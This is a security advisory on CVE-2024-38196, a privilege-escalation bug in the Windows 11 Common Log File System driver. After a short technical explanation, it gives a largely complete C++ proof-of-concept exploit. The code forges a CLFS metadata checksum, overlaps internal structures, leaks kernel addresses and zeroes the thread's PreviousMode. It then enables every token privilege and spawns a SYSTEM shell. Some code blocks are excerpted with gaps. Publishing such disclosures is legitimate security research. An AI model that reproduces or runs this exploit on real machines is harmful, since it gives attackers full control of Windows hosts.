SSD ADVISORY – COMMON LOG FILE SYSTEM (CLFS) DRIVER PE

October 23, 2024 SSD Secure Disclosure technical team Vulnerability publication

Summary

A vulnerability in the Common Log File System (CLFS) driver allows a local user to gain elevated privileges on Windows 11.

The vulnerability is in the `CClfsBaseFilePersisted::WriteMetadataBlock` function, and is due to return value of `ClfsDecodeBlock` not being checked, it is possible to corrupt the data of internal CLFS structure, allowing attackers to escalate privileges.

This vulnerability also allow attackers to leak a kernel pool address, which can be used to bypass `NtQuerySystemInformation` mitigations, which will be released in Windows 11 24H2. The PoC used for TyphoonPWN 2024 however will not make use of this primitive, since the target machine will be using Windows 11 23H2.

Credit

An independent security researcher participating in TyphoonPWN 2024 and winning first place.

CVE

CVE-2024-38196

Vendor Response

The vendor has told us that the vulnerability is a duplicate and has been already fixed, though at the time of trying this on Windows 11 latest version the vulnerability still worked. We were never provided with a CVE number or Patch information.

Affected Versions

Windows 11 23H2

- CLFS Internals by Alex Ionescu

Some basic knowledges on CLFS `.blk` file:

- It's the on-disk representation of in-memory CLFS structures without sensitive data like kernel addresses
- It's consists of multiple blocks, each block has one or more sectors, each sector is `0x200` bytes long
- Each time we make changes to the CLFS file, the changes will be flushed to disk
- Each block has its header represented by `CLFS_LOG_BLOCK_HEADER` structure

The metadata block flushing workflow is:

- Save all `CClfsContainer` pointers and clear them from the internal structure to prevent spilling kernel address to the `.blk` file
- Encode the block for saving
- Flush the block to disk
- Decode the block for in-memory usage
- Restore all `CClfsContainer` pointers to the internal structure

The encoding process will tag the end of each sector of the metadata block with 2 bytes consist of `Usn` value of the block and with a parity value depends on the position of that sector in the block. It will then calculate CRC32 checksum of the block and save it to the `Checksum` field of the block header. The end bytes of each sector will be saved into `Signature` array. Code (without any checks) follows:

```
static void EncodeBlock(PUCHAR pBlock)
{
    PCLFS_LOG_BLOCK_HEADER pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)pBlock;
    UCHAR cUsn = pLogBlockHeader->Usn;
    UCHAR cParity = 0x10;
    USHORT curParity = cUsn << 8;
    PUSHORT pSignatures = (PUSHORT)(pBlock + pLogBlockHeader->SignaturesOffset);

    for (int i = 0; i < pLogBlockHeader->TotalSectorCount; ++i)
    {
        if (i == 0)
            *(PUCHAR)&curParity = cParity | 0x40;
        else if (i == pLogBlockHeader->TotalSectorCount - 1)
        {
            if (i == 0)
                *(PUCHAR)&curParity = cParity | 0x60;
            else
                *(PUCHAR)&curParity = cParity | 0x20;
        }
        else
            *(PUCHAR)&curParity = cParity;

        pSignatures[i] = *(PUSHORT)(pBlock + 0x200 * i + 0x1fe);
        *(PUSHORT)(pBlock + 0x200 * i + 0x1fe) = curParity;
    }

    pLogBlockHeader->Checksum = 0;
    pLogBlockHeader->Checksum = crc32.Compute((const PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9);
}
```

The decoding process will restore the bytes overwritten by tags in encoding process using information in `Signature` array of the block. However, if the checksum is `0xffffffff`, it will leave the block as is and return `STATUS_LOG_BLOCK_INVALID`:

```
NTSTATUS __fastcall ClfsDecodeBlock(
        struct _CLFS_LOG_BLOCK_HEADER *a1,
```

```
  ULONG Checksum; // r11d

  Checksum = a1->Checksum;
  if ( Checksum )
  {
    if ( Checksum != 0xFFFFFFFF )
    {
      a1->Checksum = 0;
      if ( Checksum == (unsigned int)CCrc32::ComputeCrc32(&a1->MajorVersion, a2 << 9) )
        return ClfsDecodeBlockPrivate(a1, a2, a3, a4, a5);
      a1->Checksum = Checksum;
    }
  }
  else if ( (a4 & 0x10) == 0 || a1->MajorVersion < 0xFu )
  {
    return ClfsDecodeBlockPrivate(a1, a2, a3, a4, a5);
  }
  return STATUS_LOG_BLOCK_INVALID;
}
```

It is widely known that we can force CRC32 checksum of any data by modifying / adding some bytes to the original data. See this blog for example implementation. So we can manipulate the CRC32 checksum to be `0xffffffff` and prevent block decoding.

In `CClfsBaseFilePersisted::WriteMetadataBlock`, the return value of `ClfsDecodeBlock` is not checked, so the log block is in "encoded" state with end of sectors still tagged. If some important data is at the end of some sectors, we can overwrite it with encoding tags, result in side effects and achieve privilege escalation.

Triggering the vulnerability and corrupting internal CLFS structure

The target will be overlapping the container structure and the client structure, so we can reuse the exploit strategy that has been used before.

First, we create a log file using `CreateLogFile`, then add a container using `DeviceIoControl` with control code `0x8007A808`. Close the CLFS handle.

Next, we open the `.blk` file by using `CreateFile` in order to directly modify the file structure:

```
    pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)(BlfData + pControlRecord->rgBlocks[2].cbOffset);
    pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);

    // Decode the block
    DecodeBlock((PUCHAR)pLogBlockHeader);

    // Extend the symbol zone so we can move structures farther
    pBaseRecordHeader->cbSymbolZone = 0x2000;

    // We move the client structure to offset 0x1fe0
    // The reason why we have to copy 0x30 bytes before is because of the CLFSHASHSYM struct that precedes client struct
    memmove((PUCHAR)pBaseRecordHeader + 0x2010 - 0x30 - 0x30,
            (PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30, 0xb8);

    pBaseRecordHeader->rgClients[0] = 0x2010 - 0x30;

    for (int i = 0; i < 11; ++i)
    {
        if (pBaseRecordHeader->rgClientSymTbl[i] == 0x1338)
        {
            pBaseRecordHeader->rgClientSymTbl[i] = 0x2010 - 0x30 - 0x30;
            break;
        }
    }

    // Fixup the CLFSHASHSYM of the client
    pHashSymClient = (PCLFSHASHSYM)((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30);
    pHashSymClient->cbOffset = pBaseRecordHeader->rgClients[0];
    pHashSymClient->cbSymName = pBaseRecordHeader->rgClients[0] + sizeof(CLFS_CLIENT_CONTEXT);

    // We create a copy of the container inside the moved client, at offset 0x2010
    // The reason why we have to copy 0x30 bytes before is because of the CLFSHASHSYM struct that precedes container struct
```

```
    pHashSymContainer->cbOffset = 0x2010;
    pHashSymContainer->cbSymName = 0x2010 + sizeof(CLFS_CONTAINER_CONTEXT);

    // Modify pContainer field to BUFFER_ADDR
    // This points to a fake CClfsContainer structure which we will prepare later for our exploit
    // The pContainer field of the container overlaps with the lsnBase field of the client, and this field is cached at first, then restored when flushing metadata
    pContainerContext = (PCLFS_CONTAINER_CONTEXT)((PUCHAR)pBaseRecordHeader + 0x2010);
    pContainerContext->pContainer = (PVOID)BUFFER_ADDR;

    // Move the whole base record so that rgContainers[0] is at sector's end
    memmove((PUCHAR)pBaseRecordHeader + 0x66, (PUCHAR)pBaseRecordHeader,
            sizeof(CLFS_BASE_RECORD_HEADER) + pBaseRecordHeader->cbSymbolZone);

    pLogBlockHeader->RecordOffsets[0] += 0x66;

    // Manipulate the Usn to control the sector tag when encoding
    pLogBlockHeader->Usn = 0x20;
```

Now we manipulate some unused bytes in the block so that when we enable archiving, the CRC32 checksum of the block will become `0xffffffff`:

```
    // Simulate the change in DumpCount, this field will increase each time the block is flushed to disk
    pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);
    pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1338;

    // Simulate the changes when enabling archive
    pClientContext = reinterpret_cast<PCLFS_CLIENT_CONTEXT>(reinterpret_cast<PUCHAR>(pBaseRecordHeader) +
                                                            pBaseRecordHeader->rgClients[0]);
    pClientContext->fAttributes |= FILE_ATTRIBUTE_ARCHIVE;
    pClientContext->lsnArchiveTail = pClientContext->lsnLast = pClientContext->lsnBase;

    // Encode the block
    EncodeBlock((PUCHAR)pLogBlockHeader);

    // Change some unused bytes to forge CRC32 checksum
    pLogBlockHeader->Checksum = 0;
    crc32.Forge(0xffffffff, (PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9, 0x7800);

    // Decode the block
    DecodeBlock((PUCHAR)pLogBlockHeader);

    // Revert the changes we made above
    pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1337;
    pClientContext->fAttributes &= ~FILE_ATTRIBUTE_ARCHIVE;
    pClientContext->lsnArchiveTail.Internal = pClientContext->lsnLast.Internal = 0;

    // Encode the block for writing to disk
    EncodeBlock((PUCHAR)pLogBlockHeader);
```

Save the file then open the CLFS file with `CreateLogFile` again.

Now we call `SetLogArchiveMode(hLogFile, ClfsLogArchiveEnabled)`. During this call, the log block's CRC32 checksum will become `0xffffffff`. `CClfsBaseFilePersisted::WriteMetadataBlock` will be called, and `ClfsDecodeBlock` will not actually decode the log block. The function still returns successfully.

As of now, the container structure and the client structure are overlapped, because the sector tag is `0x2010` is written to `rgContainers[0]`.

Then we call `SetLogArchiveMode(hLogFile, ClfsLogArchiveDisabled)` to restore some states for the exploit to work correctly.

Preparing fake CClfsContainer

Since Windows doesn't have SMAP, we can prepare the fake structure in userspace. We chose `BUFFER_ADDR = 0x500000000` as the address of the fake structure.

The fake structure will be like this:

```
    *(ULONG_PTR *)(Buffer) = (ULONG_PTR)Buffer + 0x800; // fake vftable
```

```
        (ULONG_PTR)CLFSAddr + ((ULONG_PTR)GetProcAddress(hClfs, "ClfsSetEndOfLog") - (ULONG_PTR)hClfs);
    // We chose ClfsSetEndOfLog because this function will do nothing and will not interfere with the exploit
```

Leaking clfs.sys address

Using `NtQuerySystemInformation` with `SystemModuleInformation` class, we will be able to retrieve the base address of `clfs.sys`.

Leaking KTHREAD and EPROCESS of current process

Using `NtQuerySystemInformation` with `SystemExtendedHandleInformation` class, we will be able to retrieve the address of `KTHREAD` and `EPROCESS` for current process.

Set PreviousMode to 0

When closing a CLFS handle:

- The `CClfsLogFcbPhysical::FlushMetadata` function will restore the cached `lsnBase` `0x500000000` for the client, thereby making the pointer to the `CClfsContainer` class equal to `0x500000000`.
- The code will call the `CClfsLogFcbPhysical::CloseContainers` function to close all containers.
- `0x500000000` will be passed as a pointer to the `CClfsContainer::Close` function.

`CClfsContainer::Close` will call `ObfDereferenceObject(m_pFileObject)`, which will decrease the reference count of `m_pFileObject`, which we point to `PreviousMode` of current thread. `PreviousMode` of current thread will become `0`, which enables us to bypass user mode address check on many APIs, and we can now supply kernel address when calling those APIs.

Escalate privileges

Now that `PreviousMode` of the current thread is `0`, we can use `NtReadVirtualMemory` and `NtWriteVirtualMemory` directly on kernel memory.
With `EPROCESS` address leaked from before, we can retrieve the address of current process's `Token` using `NtReadVirtualMemory`.
Then, we modify `Privileges` field of `Token` to enable all privileges.

At this moment, we can do privileged actions on the system. The PoC will spawn a child `cmd.exe` under `winlogon.exe`, which runs under `SYSTEM` account.

Exploit

```
#define UMDF_USING_NTSTATUS

#include <algorithm>
#include <memory>
#include <random>
#include <string>

#include "clfspriv.h"
#include "crc32.h"
#include "ntdll.h"

#include <psapi.h>
#include <tlhelp32.h>

#define LOG_INFO(x) fprintf(stderr, "[*] %s\n", x)
#define LOG_INFO_ADDR(x, p) fprintf(stderr, "[*] %s: %p\n", x, p)
#define LOG_ERROR(x) fprintf(stderr, "[-] %s:%d: %s: %d\n", __FILE__, __LINE__, x, GetLastError())
#define LOG_ERROR_CODE(x, c) fprintf(stderr, "[-] %s:%d: %s: %x\n", __FILE__, __LINE__, x, c)

#define BUFFER_ADDR 0x500000000
#define PREVIOUSMODE_OFFSET 0x232
#define TOKEN_OFFSET 0x4b8

DECLARE_NTDLL_FUNC(NtQuerySystemInformation, (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation,
                                              ULONG SystemInformationLength, PULONG ReturnLength))
DECLARE_NTDLL_FUNC(NtReadVirtualMemory, (HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
                                         ULONG NumberOfBytesToRead, PULONG NumberOfBytesRead))
```

```
33.  static PVOID ProcessEPROCESS;
34.  static Crc32 crc32(0xedb88320);
35.
36.  template <typename T> struct SystemInformation
37.  {
38.      NTSTATUS Status;
39.      std::unique_ptr<UCHAR[]> Buffer;
40.      SystemInformation(NTSTATUS status, std::unique_ptr<UCHAR[]> &buffer) : Status(status), Buffer(std::move(buffer))
41.      {
42.      }
43.      T *operator()()
44.      {
45.          return (T *)Buffer.get();
46.      }
47.  };
48.
49.  template <typename T>
50.  static SystemInformation<T> QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass)
51.  {
52.      for (ULONG size = 1;; size <<= 1)
53.      {
54.          auto buf = std::make_unique<UCHAR[]>(size);
55.          ULONG outSize;
56.          auto status = NtQuerySystemInformation(SystemInformationClass, buf.get(), size, &outSize);
57.          if (status == STATUS_INFO_LENGTH_MISMATCH)
58.              continue;
59.          if (status != STATUS_SUCCESS)
60.              buf.reset();
61.          return SystemInformation<T>(status, buf);
62.      }
63.  }
64.
65.  static std::wstring GetTmpPath()
66.  {
67.      WCHAR buf[MAX_PATH];
68.      GetTempPath2(MAX_PATH, buf);
69.      return buf;
70.  }
71.
72.  static std::wstring GetRandomFileName(size_t length)
73.  {
74.      std::random_device rng;
75.      std::wstring out(length, 0);
76.      std::generate_n(out.begin(), length, [&rng] {
77.          static const WCHAR alphanum[] = L"0123456789"
78.                                          L"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
79.                                          L"abcdefghijklmnopqrstuvwxyz";
80.          return alphanum[rng() % (ARRAYSIZE(alphanum) - 1)];
81.      });
82.      return out;
83.  }
84.
85.  static PVOID LeakModuleBase(const char *szPathName)
86.  {
87.      PVOID pImageBase = NULL;
88.
89.      auto info = QuerySystemInformation<RTL_PROCESS_MODULES>(SystemModuleInformation);
90.      if (info.Status != STATUS_SUCCESS)
91.      {
92.          LOG_ERROR_CODE("QuerySystemInformation", info.Status);
93.          return NULL;
94.      }
95.
96.      for (ULONG i = 0; i < info()->NumberOfModules; i++)
97.      {
98.          if (!_stricmp((char *)info()->Modules[i].FullPathName, szPathName))
99.          {
100.             pImageBase = info()->Modules[i].ImageBase;
101.             break;
102.         }
103.     }
104.
105.     return pImageBase;
106. }
107.
108. static PVOID LeakHandleObject(DWORD dwProcessId, HANDLE hHandle)
109. {
110.     PVOID pObject = NULL;
111.
112.     auto info = QuerySystemInformation<SYSTEM_HANDLE_INFORMATION_EX>(SystemExtendedHandleInformation);
113.     if (info.Status != STATUS_SUCCESS)
114.     {
115.         LOG_ERROR_CODE("QuerySystemInformation", info.Status);
116.         return NULL;
117.     }
118.
119.     for (ULONG i = 0; i < info()->HandleCount; i++)
```

```
                break;
            }
        }

        return pObject;
    }

    static int Setup()
    {
        PUCHAR Buffer;
        HANDLE hThread;
        HANDLE hProcess;

        LOG_INFO("Retrieving ntdll functions");
        BEGIN_NTDLL_IMPORT();
        NTDLL_IMPORT(NtQuerySystemInformation);
        NTDLL_IMPORT(NtReadVirtualMemory);
        NTDLL_IMPORT(NtWriteVirtualMemory);
        END_NTDLL_IMPORT();

        LOG_INFO("Getting KTHREAD");
        if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hThread, 0, FALSE,
                            DUPLICATE_SAME_ACCESS))
        {
            LOG_ERROR("DuplicateHandle");
            return -1;
        }
        if ((KThreadAddr = LeakHandleObject(GetCurrentProcessId(), hThread)) == NULL)
        {
            LOG_ERROR("LeakKTHREAD");
            return -1;
        }
        LOG_INFO_ADDR("KTHREAD", KThreadAddr);
        CloseHandle(hThread);

        LOG_INFO("Getting CLFS.SYS");
        if ((CLFSAddr = LeakModuleBase("\\systemroot\\system32\\drivers\\clfs.sys")) == NULL)
        {
            LOG_ERROR("LeakModuleBase");
            return -1;
        }
        LOG_INFO_ADDR("CLFS.SYS", CLFSAddr);

        LOG_INFO("Getting process EPROCESS");
        if (!DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hProcess, 0, FALSE,
                            DUPLICATE_SAME_ACCESS))
        {
            LOG_ERROR("DuplicateHandle");
            return -1;
        }
        if ((ProcessEPROCESS = LeakHandleObject(GetCurrentProcessId(), hProcess)) == NULL)
        {
            LOG_ERROR("LeakEPROCESS");
            return -1;
        }
        LOG_INFO_ADDR("ProcessEPROCESS", ProcessEPROCESS);
        CloseHandle(hProcess);

        LOG_INFO("Preparing fake container");
        Buffer = (PUCHAR)VirtualAlloc((LPVOID)BUFFER_ADDR, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (Buffer == NULL)
        {
            LOG_ERROR("VirtualAlloc");
            return -1;
        }

        *(ULONG_PTR *)(Buffer) = (ULONG_PTR)Buffer + 0x800;
        *(HANDLE *)(Buffer + 0x20) = INVALID_HANDLE_VALUE;
        *(ULONG_PTR *)(Buffer + 0x30) = (ULONG_PTR)KThreadAddr + PREVIOUSMODE_OFFSET + 0x30;

        HMODULE hClfs = LoadLibrary(L"C:\\Windows\\system32\\drivers\\clfs.sys");
        if (hClfs == NULL)
        {
            LOG_ERROR("LoadLibrary");
            return -1;
        }
        *(ULONG_PTR *)(Buffer + 0x808) =
            (ULONG_PTR)CLFSAddr + ((ULONG_PTR)GetProcAddress(hClfs, "ClfsSetEndOfLog") - (ULONG_PTR)hClfs);
        FreeLibrary(hClfs);

        return 0;
    }

    static void DecodeBlock(PUCHAR pBlock)
    {
        PCLFS_LOG_BLOCK_HEADER pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)pBlock;
        PUSHORT pSignatures = (PUSHORT)(pBlock + pLogBlockHeader->SignaturesOffset);
```

```
static void EncodeBlock(PUCHAR pBlock)
{
    PCLFS_LOG_BLOCK_HEADER pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)pBlock;
    UCHAR cUsn = pLogBlockHeader->Usn;
    UCHAR cParity = 0x10;
    USHORT curParity = cUsn << 8;
    PUSHORT pSignatures = (PUSHORT)(pBlock + pLogBlockHeader->SignaturesOffset);

    for (int i = 0; i < pLogBlockHeader->TotalSectorCount; ++i)
    {
        if (i == 0)
            *(PUCHAR)&curParity = cParity | 0x40;
        else if (i == pLogBlockHeader->TotalSectorCount - 1)
        {
            if (i == 0)
                *(PUCHAR)&curParity = cParity | 0x60;
            else
                *(PUCHAR)&curParity = cParity | 0x20;
        }
        else
            *(PUCHAR)&curParity = cParity;

        pSignatures[i] = *(PUSHORT)(pBlock + 0x200 * i + 0x1fe);
        *(PUSHORT)(pBlock + 0x200 * i + 0x1fe) = curParity;
    }

    pLogBlockHeader->Checksum = 0;
    pLogBlockHeader->Checksum = crc32.Compute((const PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9);
}

static BOOL AllocContainer(HANDLE hLogFile, PULONGLONG cbContainer, const std::wstring &path)
{
    struct AllocContainerContext
    {
        ULONGLONG cbContainer;
        USHORT cContainer;
    };

    DWORD sz = sizeof(AllocContainerContext) + 2 * (path.size() + 1);
    auto ptr = std::make_unique<UCHAR[]>(sz);
    AllocContainerContext *ctx = reinterpret_cast<AllocContainerContext *>(ptr.get());
    ctx->cbContainer = *cbContainer;
    ctx->cContainer = 1;
    wcscpy_s(reinterpret_cast<PWCHAR>(ptr.get() + sizeof(AllocContainerContext)), path.size() + 1, path.c_str());

    DWORD bytesReturned;
    return DeviceIoControl(hLogFile, 0x8007A808, ctx, sz, cbContainer, sizeof(ULONGLONG), &bytesReturned, NULL);
}

static BOOL CraftVictimLog(const std::wstring &logFile)
{
    static UCHAR BlfData[0x10000];
    ULONG dwNumberOfBytesRead;
    ULONGLONG cbContainer = 512 * 1024;
    PCLFS_BASE_RECORD_HEADER pBaseRecordHeader;
    PCLFS_LOG_BLOCK_HEADER pLogBlockHeader;
    PCLFS_CONTROL_RECORD pControlRecord;
    PCLFSHASHSYM pHashSymClient, pHashSymContainer;
    PCLFS_CONTAINER_CONTEXT pContainerContext;
    PCLFS_CLIENT_CONTEXT pClientContext;

    LOG_INFO("Creating initial log file");
    HANDLE hLogFile = CreateLogFile((L"LOG:" + logFile).c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, 0);
    if (hLogFile == INVALID_HANDLE_VALUE)
    {
        LOG_ERROR("CreateLogFile");
        goto err;
    }
    if (!AllocContainer(hLogFile, &cbContainer, CLFS_CONTAINER_RELATIVE_PREFIX + GetRandomFileName(8)))
    {
        LOG_ERROR("AddLogContainer");
        goto err_close;
    }
    CloseHandle(hLogFile);

    LOG_INFO("Patching initial log file");
    hLogFile = CreateFile((logFile + CLFS_BASELOG_EXTENSION).c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL,
                          OPEN_EXISTING, 0, NULL);
    if (hLogFile == INVALID_HANDLE_VALUE)
    {
        LOG_ERROR("CreateFile");
        goto err;
    }
    if (!ReadFile(hLogFile, BlfData, sizeof(BlfData), &dwNumberOfBytesRead, NULL))
    {
        LOG_ERROR("ReadFile");
        goto err_close;
```

```
    pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)(BlfData + pControlRecord->rgBlocks[2].cbOffset);
    pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);

    DecodeBlock((PUCHAR)pLogBlockHeader);

    pBaseRecordHeader->cbSymbolZone = 0x2000;

    memmove((PUCHAR)pBaseRecordHeader + 0x2010 - 0x30 - 0x30,
            (PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30, 0xb8);

    pBaseRecordHeader->rgClients[0] = 0x2010 - 0x30;

    for (int i = 0; i < 11; ++i)
    {
        if (pBaseRecordHeader->rgClientSymTbl[i] == 0x1338)
        {
            pBaseRecordHeader->rgClientSymTbl[i] = 0x2010 - 0x30 - 0x30;
            break;
        }
    }

    pHashSymClient = (PCLFSHASHSYM)((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30);
    pHashSymClient->cbOffset = pBaseRecordHeader->rgClients[0];
    pHashSymClient->cbSymName = pBaseRecordHeader->rgClients[0] + sizeof(CLFS_CLIENT_CONTEXT);

    memmove((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] + 0x20,
            (PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgContainers[0] - 0x10, 0x28);

    pHashSymContainer = (PCLFSHASHSYM)((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0]);
    pHashSymContainer->cbOffset = 0x2010;
    pHashSymContainer->cbSymName = 0x2010 + sizeof(CLFS_CONTAINER_CONTEXT);

    pContainerContext = (PCLFS_CONTAINER_CONTEXT)((PUCHAR)pBaseRecordHeader + 0x2010);
    pContainerContext->pContainer = (PVOID)BUFFER_ADDR;

    memmove((PUCHAR)pBaseRecordHeader + 0x66, (PUCHAR)pBaseRecordHeader,
            sizeof(CLFS_BASE_RECORD_HEADER) + pBaseRecordHeader->cbSymbolZone);

    pLogBlockHeader->RecordOffsets[0] += 0x66;
    pLogBlockHeader->Usn = 0x20;

    // time fo forge
    pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);
    pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1338;

    pClientContext = reinterpret_cast<PCLFS_CLIENT_CONTEXT>(reinterpret_cast<PUCHAR>(pBaseRecordHeader) +
                                                            pBaseRecordHeader->rgClients[0]);
    pClientContext->fAttributes |= FILE_ATTRIBUTE_ARCHIVE;
    pClientContext->lsnArchiveTail = pClientContext->lsnLast = pClientContext->lsnBase;

    EncodeBlock((PUCHAR)pLogBlockHeader);

    pLogBlockHeader->Checksum = 0;
    crc32.Forge(0xffffffff, (PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9, 0x7800);

    // revert
    DecodeBlock((PUCHAR)pLogBlockHeader);

    pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1337;

    pClientContext->fAttributes &= ~FILE_ATTRIBUTE_ARCHIVE;
    pClientContext->lsnArchiveTail.Internal = pClientContext->lsnLast.Internal = 0;

    EncodeBlock((PUCHAR)pLogBlockHeader);

    if (!WriteFile(hLogFile, BlfData, sizeof(BlfData), &dwNumberOfBytesRead, NULL))
    {
        LOG_ERROR("WriteFile");
        goto err_close;
    }
    CloseHandle(hLogFile);

    return TRUE;

err_close:
    CloseHandle(hLogFile);
err:
    return FALSE;
}

static void SpawnShell()
{
    PROCESSENTRY32 entry;
    HANDLE snapshot;

    entry.dwSize = sizeof(PROCESSENTRY32);
```

```
        {
            while (Process32Next(snapshot, &entry))
            {
                if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
                {
                    pid = entry.th32ProcessID;
                    break;
                }
            }
        }

        CloseHandle(snapshot);

        LOG_INFO("Spawning shell");

        HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
        if (hWinLogon == INVALID_HANDLE_VALUE)
        {
            LOG_ERROR("OpenProcess");
            return;
        }

        STARTUPINFOEX si;
        PROCESS_INFORMATION pi;

        ZeroMemory(&si, sizeof(si));
        ZeroMemory(&pi, sizeof(pi));

        SIZE_T size;
        InitializeProcThreadAttributeList(NULL, 1, 0, &size);
        auto xxx = std::make_unique<UCHAR[]>(size);
        si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)xxx.get();
        InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
        UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hWinLogon, sizeof(HANDLE),
                                  NULL, NULL);

        si.StartupInfo.cb = sizeof(STARTUPINFOEX);

        wchar_t cmdline[MAX_PATH];
        wcscpy_s(cmdline, L"cmd.exe");

        if (!CreateProcess(NULL, cmdline, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL,
                           L"C:\\", reinterpret_cast<LPSTARTUPINFO>(&si), &pi))
            LOG_ERROR("CreateProcess");
    }

    static void Exploit()
    {
        HANDLE hLogFile;
        DWORD dwNumberOfBytesRead;
        ULONG_PTR Token;
        NTSTATUS status;
        std::wstring logFile = GetTmpPath() + GetRandomFileName(8);

        if (!CraftVictimLog(logFile))
        {
            LOG_ERROR("CraftVictimLog");
            return;
        }
        LOG_INFO("Open log file");
        hLogFile = CreateLogFile((L"LOG:" + logFile).c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0);
        if (hLogFile == INVALID_HANDLE_VALUE)
        {
            LOG_ERROR("CreateLogFile");
            return;
        }
        LOG_INFO("Enable archive");
        if (!SetLogArchiveMode(hLogFile, ClfsLogArchiveEnabled))
        {
            LOG_ERROR("SetLogArchiveMode");
            CloseHandle(hLogFile);
            return;
        }
        LOG_INFO("Disable archive");
        SetLogArchiveMode(hLogFile, ClfsLogArchiveDisabled);
        CloseHandle(hLogFile);

        LOG_INFO("Getting current process token");
        if ((status = NtReadVirtualMemory(GetCurrentProcess(), (PVOID)((ULONG_PTR)ProcessEPROCESS + TOKEN_OFFSET), &Token,
                                          sizeof(Token), &dwNumberOfBytesRead)) != STATUS_SUCCESS)
        {
            LOG_ERROR_CODE("NtReadVirtualMemory", status);
            return;
        }
        Token &= 0xfffffffffffffff0;
        LOG_INFO_ADDR("Token", Token);

```

```
                                        &dwNumberOfBytesRead)) != STATUS_SUCCESS)
    {
        LOG_ERROR_CODE("NtWriteVirtualMemory", status);
        return;
    }

    LOG_INFO("Cleaning up");

    dwNumberOfBytesRead = 1;
    if ((status = NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)((ULONG_PTR)KThreadAddr + PREVIOUSMODE_OFFSET),
                                        &dwNumberOfBytesRead, sizeof(dwNumberOfBytesRead), &dwNumberOfBytesRead)) !=
        STATUS_SUCCESS)
        LOG_ERROR_CODE("NtWriteVirtualMemory", status);

    SpawnShell();
}

int main()
{
    if (!Setup())
        Exploit();
}
```

```
// clspriv.h
#pragma once

#include <Windows.h>
#include <clfsw32.h>
#include <stdbool.h>

#pragma comment(lib, "clfsw32.lib")

typedef UCHAR CLFS_CLIENT_ID;
typedef UCHAR CLFS_LOG_STATE, *PCLFS_LOG_STATE;

typedef struct _CLFS_METADATA_RECORD_HEADER
{
    ULONGLONG ullDumpCount;
} CLFS_METADATA_RECORD_HEADER, *PCLFS_METADATA_RECORD_HEADER;

typedef struct _CLFS_BASE_RECORD_HEADER
{
    CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
    CLFS_LOG_ID cidLog;
    ULONGLONG rgClientSymTbl[11];
    ULONGLONG rgContainerSymTbl[11];
    ULONGLONG rgSecuritySymTbl[11];
    ULONG cNextContainer;
    CLFS_CLIENT_ID cNextClient;
    ULONG cFreeContainers;
    ULONG cActiveContainers;
    ULONG cbFreeContainers;
    ULONG cbBusyContainers;
    ULONG rgClients[124];
    ULONG rgContainers[1024];
    ULONG cbSymbolZone;
    ULONG cbSector;
    USHORT bUnused;
    CLFS_LOG_STATE eLogState;
    UCHAR cUsn;
    UCHAR cClients;
} CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;

typedef enum _CLFS_EXTEND_STATE
{
    ClfsExtendStateNone = 0x0,
    ClfsExtendStateExtendingFsd = 0x1,
    ClfsExtendStateFlushingBlock = 0x2,
} CLFS_EXTEND_STATE, *PCLFS_EXTEND_STATE;

typedef enum _CLFS_TRUNCATE_STATE
{
    ClfsTruncateStateNone = 0x0,
    ClfsTruncateStateModifyingStream = 0x1,
    ClfsTruncateStateSavingOwner = 0x2,
    ClfsTruncateStateModifyingOwner = 0x3,
    ClfsTruncateStateSavingDiscardBlock = 0x4,
    ClfsTruncateStateModifyingDiscardBlock = 0x5,
} CLFS_TRUNCATE_STATE, *PCLFS_TRUNCATE_STATE;

typedef struct _CLFS_TRUNCATE_CONTEXT
{
    CLFS_TRUNCATE_STATE eTruncateState;
